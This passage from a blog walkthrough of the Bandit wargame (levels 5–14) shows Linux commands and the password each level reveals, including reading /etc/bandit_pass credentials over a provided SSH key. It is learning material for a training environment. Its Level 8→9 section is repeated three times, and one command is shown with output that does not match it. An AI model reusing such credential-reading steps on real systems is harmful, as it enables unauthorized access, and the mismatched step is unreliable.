“[[:print:]]*”).</p><p>It is not executable (! -executable).</p><p>After running the find command, it locates a file named “.file2” within the “maybehere07” directory. You use the cat command to view the contents of this file, revealing the password: P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU.</p><p><strong>COMMAND</strong></p><p><strong>bandit5@bandit:~$ </strong>ls</p><p><em>inhere</em></p><p><strong>bandit5@bandit:~$ </strong>cd inhere</p><p><strong>bandit5@bandit:~/inhere$ </strong>ls</p><p><em>maybehere00 maybehere02 maybehere04 maybehere06 maybehere08 maybehere10 maybehere12 maybehere14 maybehere16 maybehere18</em></p><p><em>maybehere01 maybehere03 maybehere05 maybehere07 maybehere09 maybehere11 maybehere13 maybehere15 maybehere17 maybehere19</em></p><p><strong>bandit5@bandit:~/inhere$ </strong>find . -type f -size 1033c -name “[[:print:]]*” ! -executable</p><p><em>./maybehere07/.file2</em></p><p><strong>bandit5@bandit:~/inhere$</strong> cat ./maybehere07/.file2</p><p><em>P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*D8kr8ROK52rhg6YUi6sqIw.png" /></figure><h3><strong>LEVEL-6 →LEVEL-7</strong></h3><p>The password for the next level is stored somewhere on the server and has all of the following properties:</p><p>owned by user bandit7</p><p>owned by group bandit6</p><p>33 bytes in size.</p><p><strong>EXPLANATION:-</strong></p><p>To find this password, you use the find command. This command searches for files on the server based on specific criteria. You specify that you’re looking for a file with the following properties:</p><p>It is a regular file (-type f).</p><p>It is owned by the user “bandit7” (-user bandit7).</p><p>It is owned by the group “bandit6” (-group bandit6).</p><p>It is exactly 33 bytes in size (-size 33c).</p><p>After running the find command, it locates a file named “bandit7.password” at the path “/var/lib/dpkg/info/bandit7.password”. You use the cat command to view the contents of this file, revealing the password: z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S<em>.</em></p><p><strong>COMMAND</strong></p><p><strong>bandit6@bandit:~$ </strong>find / -type f -user bandit7 -group bandit6 -size 33c 2&gt;/dev/null</p><p><em>/var/lib/dpkg/info/bandit7.password</em></p><p><strong>bandit6@bandit:~$ </strong>cat /var/lib/dpkg/info/bandit7.password</p><p><em>z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ES34QwH71DHXYrOWwFnRGA.png" /></figure><h3><strong>LEVEL-7 →LEVEL-8</strong></h3><p>The password for the next level is stored in the file data.txt next to the word millionth</p><p><strong>EXPLANATION:-</strong></p><p>To find the password, you first list the files in your current location using the ls command. This shows you that there is a file named “data.txt” in the directory.</p><p>Next, you view the contents of the “data.txt” file using the less command. This command allows you to read the contents of a file in the terminal. Once you open the file, you need to locate the word “millionth” within it.</p><p>To do this, you type /millionth inside the less window and hit enter. This tells the less command to search for the word “millionth” within the file. If the word is found, less will navigate to the first occurrence of the word and highlight it.</p><p>Once you’ve located the word “millionth”, you can read the surrounding text to find the password located next to it.</p><p><strong>COMMAND</strong></p><p><strong>bandit7@bandit:~$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit7@bandit:~$ </strong>less data.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*zrBoCQhmCRTROHAgddXktA.png" /></figure><p>→ <strong>Then Write “/millionth” in the search option of the less window.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*ixI_ZbKectdgsBu2KJjYpA.png" /></figure><p><strong>Then the result is shown below:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*Tb08wbSrC8pKfAFIjhsreQ.png" /></figure><h3><strong>LEVEL-8 →LEVEL-9</strong></h3><p>The password for the next level is stored in the file data.txt and is the only line of text that occurs only once</p><p><strong>EXPLANATION:-</strong></p><p>To find this password, you first list the files in your current location using the ls command. This shows you that there is a file named “data.txt” in the directory.</p><p>Next, you use the sort command to sort the contents of the “data.txt” file. Then, you use the uniq -u command to display only the lines that occur exactly once in the sorted output.</p><p>The line of text that is displayed after running these commands is the password you’re looking for. In this case, the password is EN632PlfYiZbn3PhVK3XOGSlNInNE00t.</p><p><strong>COMMAND</strong></p><p><strong>bandit8@bandit:~$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit8@bandit:~$ </strong>sort data.txt | uniq -u</p><p><em>EN632PlfYiZbn3PhVK3XOGSlNInNE00t</em></p><p>LEVEL-8 à LEVEL-9</p><p>The password for the next level is stored in the file data.txt and is the only line of text that occurs only once</p><p><strong>EXPLANATION:-</strong></p><p>To find this password, you first list the files in your current location using the ls command. This shows you that there is a file named “data.txt” in the directory.</p><p>Next, you use the sort command to sort the contents of the “data.txt” file. Then, you use the uniq -u command to display only the lines that occur exactly once in the sorted output.</p><p>The line of text that is displayed after running these commands is the password you’re looking for. In this case, the password is EN632PlfYiZbn3PhVK3XOGSlNInNE00t.</p><p><strong>COMMAND</strong></p><p><strong>bandit8@bandit:~$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit8@bandit:~$ </strong>sort data.txt | uniq -u</p><p><em>EN632PlfYiZbn3PhVK3XOGSlNInNE00t</em></p><p>LEVEL-8 à LEVEL-9</p><p>The password for the next level is stored in the file data.txt and is the only line of text that occurs only once</p><p><strong>EXPLANATION:-</strong></p><p>To find this password, you first list the files in your current location using the ls command. This shows you that there is a file named “data.txt” in the directory.</p><p>Next, you use the sort command to sort the contents of the “data.txt” file. Then, you use the uniq -u command to display only the lines that occur exactly once in the sorted output.</p><p>The line of text that is displayed after running these commands is the password you’re looking for. In this case, the password is EN632PlfYiZbn3PhVK3XOGSlNInNE00t.</p><p><strong>COMMAND</strong></p><p><strong>bandit8@bandit:~$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit8@bandit:~$ </strong>sort data.txt | uniq -u</p><p><em>EN632PlfYiZbn3PhVK3XOGSlNInNE00t</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*9PaHgl5Rb64IuaR68kvcjw.png" /></figure><h3><strong>LEVEL-9 →LEVEL-10</strong></h3><p>The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several ‘=’ characters.</p><p><strong>EXPLANATION:-</strong></p><p>The password is part of a human-readable string, which is preceded by several ‘=’ characters.</p><p>To find this password, you first list the files in your current location using the ls command. This shows you that there is a file named “data.txt” in the directory.</p><p>Next, you use the strings command to extract human-readable strings from the “data.txt” file. Then, you use the grep “===” command to search for lines containing several ‘=’ characters in the output of the strings command.</p><p>The line of text that is displayed after running these commands contains the password you’re looking for. In this case, the password is G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s</p><p><strong>COMMAND</strong></p><p><strong>bandit9@bandit:~$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit9@bandit:~$ </strong>strings data.txt | grep “===”</p><p><em>x]T========== theG)”</em></p><p><em>========== passwordk^</em></p><p><em>========== is</em></p><p><em>========== G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*iILmK-9NxIkJ5q4bOhJqYg.png" /></figure><h3><strong>LEVEL-10 →LEVEL-11</strong></h3><p>The password for the next level is stored in the file data.txt, which contains base64 encoded data</p><p><strong>EXPLANATION:-</strong></p><p>To find this password, you first list the files in your current location using the ls command. This shows you that there is a file named “data.txt” in the directory.</p><p>Next, you use the base64 -d data.txt command. The -d flag tells the base64 command to decode the contents of the “data.txt” file from base64 format.</p><p>After running this command, the decoded text is displayed in the terminal. The line of text that is displayed contains the password you’re looking for. In this case, the password is 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM<em>.</em></p><p><strong>COMMAND</strong></p><p><strong>bandit10@bandit:~$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit10@bandit:~$ </strong>base64 -d data.txt</p><p><em>The password is 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*6Xcuj76kzS2m6A4aXMr1Pg.png" /></figure><h3><strong>LEVEL-11 →LEVEL-12</strong></h3><p>The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions</p><p><strong>EXPLANATION:-</strong></p><p>To find this password, you first use the cat command to display the contents of the “data.txt” file. Then, you use the tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’ command to perform a Caesar cipher rotation by 13 positions on the text.</p><p>After running this command, the rotated text is displayed in the terminal. The line of text that is displayed contains the password you’re looking for. In this case, the password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv.</p><p><strong>COMMAND</strong></p><p><strong>bandit11@bandit:~$ </strong>cat data.txt | tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’</p><p><em>The password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*x3BPENSjOqFvWsTus5E9Qg.png" /></figure><h3><strong>LEVEL-12 →LEVEL-13</strong></h3><p>The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!)</p><p><strong>EXPLANATION:-</strong></p><p>In this level, the password for the next level is stored in a file named “data.txt”. This file is a hexdump of another file that has been repeatedly compressed. To tackle this, we follow these steps:</p><p>We create a new directory in the /tmp directory using mkdir /tmp/new12/.</p><p>Then, we copy the original file “data.txt” to this new directory using cp data.txt /tmp/new12/.</p><p>We navigate to the new directory using cd /tmp/new12/.</p><p>We rename the copied file using mv data.txt new.</p><p>Next, we convert the hexdump file to a binary file using xxd -r new &gt; new.bin.</p><p>We identify the type of compression by checking the file type of the binary file using file new.bin.</p><p>The file type indicates it’s a gzip compressed data. So, we decompress it using zcat new.bin &gt; new1.</p><p>We repeat the process of decompression for the subsequent files until we reach the original file.</p><p>Finally, we extract the original file using tar -xf data8.bin.</p><p>We find that the extracted file “data8” contains the password: wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw<em>.</em></p><p><strong>COMMAND</strong></p><p><strong>bandit12@bandit:~$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit12@bandit:~$ </strong>mkdir /tmp/new12/</p><p><strong>bandit12@bandit:~$ </strong>cp data.txt /tmp/new12/</p><p><strong>bandit12@bandit:~$ </strong>cd /tmp/new12/</p><p><strong>bandit12@bandit:/tmp/new12$ </strong>ls</p><p><em>data.txt</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>mv data.txt new</p><p><strong>bandit 12@bandit:/tmp/new12$ </strong>file -f new</p><p><em>00000000: 1f8b 0808 6855 1e65 0203 6461 7461 322e</em></p><p><strong>We have created a new directory and copied the original file to there and rename it and further we will create bin file of the hex-dump file and find the file type as it was Compressed several times.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1fuHMo0WEZKDuRwsNC7SyQ.png" /></figure><p><strong>bandit12@bandit:/tmp/new12$ </strong>xxd -r new&gt;new.bin</p><p><strong>bandit12@bandit:/tmp/new12$ </strong>ls</p><p><em>new new.bin</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>file new.bin</p><p><em>new.bin: gzip compressed data, was “data2.bin”, last modified: Thu Oct 5 06:19:20 2023, max compression, from Unix, original size modulo 2³² 573</em></p><p><strong>We have created a bin file of that hex-dump file now we will check the file type for decompression.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*2O2yiBdAb0ZXzLrSHaxZsQ.png" /></figure><p><strong>bandit12@bandit:/tmp/new12$ </strong>zcat new.bin &gt; new1</p><p><strong>bandit12@bandit:/tmp/new12$ </strong>ls</p><p><em>new new1 new.bin</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>file new1</p><p><em>new1: bzip2 compressed data, block size = 900k</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>bzcat new1&gt; new2</p><p><strong>bandit12@bandit:/tmp/new12</strong>$ file new2</p><p><em>new2: gzip compressed data, was “data4.bin”, last modified: Thu Oct 5 06:19:20 2023, max compression, from Unix, original size modulo 2³² 20480</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>zcat new2&gt; new3</p><p><strong>bandit12@bandit:/tmp/new12</strong>$ file new3</p><p><em>new3: POSIX tar archive (GNU)</em></p><p><strong>From here we get the tar file and we have to do tar decompression from here.</strong></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>tar -xf new3</p><p><strong>bandit12@bandit:/tmp/new12$ </strong>ls</p><p><em>data5.bin new new1 new2 new3 new.bin</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>tar -xf data5.bin</p><p><strong>bandit12@bandit:/tmp/new12$ </strong>ls</p><p><em>data5.bin data6.bin new new1 new2 new3 new.bin</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>tar -xf data6.bin</p><p><strong>bandit12@bandit:/tmp/new12$ </strong>ls</p><p><em>data5.bin data6.bin data8.bin new new1 new2 new3 new.bin</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>tar -xf data8.bin</p><p><strong>bandit12@bandit:/tmp/new12$ </strong>ls</p><p>data5.bin data6.bin data8 data8.bin new new1 new2 new3 new.bin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6eEX3-u0MJswA5MEyJyVOg.png" /></figure><p><strong>bandit12@bandit:/tmp/new12$ </strong>file data8</p><p><em>data8: ASCII text</em></p><p><strong>bandit12@bandit:/tmp/new12$ </strong>cat data8</p><p><em>The password is wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*Jpn9pE_QWU1YfRiZ7yaqmA.png" /></figure><h3><strong>LEVEL-13 →LEVEL-14</strong></h3><p>The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on</p><p><strong>EXPLANATION:-</strong></p><p>In this level, the password for the next level is stored in the file /etc/bandit_pass/bandit14, and it can only be read by the user bandit14. Instead of directly providing the password, you receive a private SSH key that allows you to log into the next level.</p><p>Here’s what you need to do:</p><p>List the files in your current directory using ls. You’ll see a file named sshkey.private.</p><p>Use the private SSH key to log into the next level. The command to do this is ssh -i sshkey.private bandit14@localhost -p 2220. This command connects you to the next level’s SSH server using the private key provided.</p><p>After connecting, you’re prompted with a message about the authenticity of the host. Since you’re connecting to localhost, it’s safe to continue. Type yes to confirm.</p><p>You are now logged into the next level as bandit14.</p><p>Finally, you can retrieve the password for bandit14 by using the cat /etc/bandit_pass/bandit14 command. This displays the password: fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq.</p><p><strong>COMMAND</strong></p><p><strong>bandit13@bandit:~$ </strong>ls</p><p><em>sshkey.private</em></p><p><strong>bandit13@bandit:~$ </strong>ssh -i sshkey.private bandit14@localhost -p 2220</p><p><em>The authenticity of host ‘[localhost]:2220 ([127.0.0.1]:2220)’ can’t be established.</em></p><p><em>ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.</em></p><p><em>This key is not known by any other names</em></p><p><em>Are you sure you want to continue connecting (yes/no/[fingerprint])? Yes</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vF8Y8lu17p6QYWisVtb6GA.png" /></figure><p><strong>bandit14@bandit:~$ </strong>cat /etc/bandit_pass/bandit14</p><p><em>fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*-NDbspIDTh4WSRc3Xcku0Q.png" /></figure><h3><strong>LEVEL-14 →LEVEL-15</strong></h3><p>The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.</p><p><strong>EXPLANATION:-</strong></p><p><em>In this level, you need to retrieve the password for the next level by submitting the password of the current level to port 30000 on localhost.</em></p><p><em>Here’s what you need to do:</em></p><p><em>Connect to the localhost on port 30000 using the telnet command. You can do this by typing telnet localhost 30000 in the terminal.</em></p><p><em>After establishing the connection, you’ll be prompted to enter the password for the current level (bandit14). Enter the password (fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq).</em></p><p><em>If the password is correct, you’ll receive a confirmation message indicating that it’s correct. Additionally, you’ll receive the password for the next level, which in this case is jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt.</em></p><p><strong>COMMAND</strong></p><p><strong>bandit14@bandit:~$ </strong>telnet localhost 30000</p><p><em>Trying 127.0.0.1…</em></p><p><em>Connected to localhost.</em></p><p><em>Escape character is ‘^]’.</em></p><p>fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq</p><p><em>Correct!</em></p><p><em>jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*pYFTJU9UdwEeLxyVCfY2YQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84afecbd2d6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>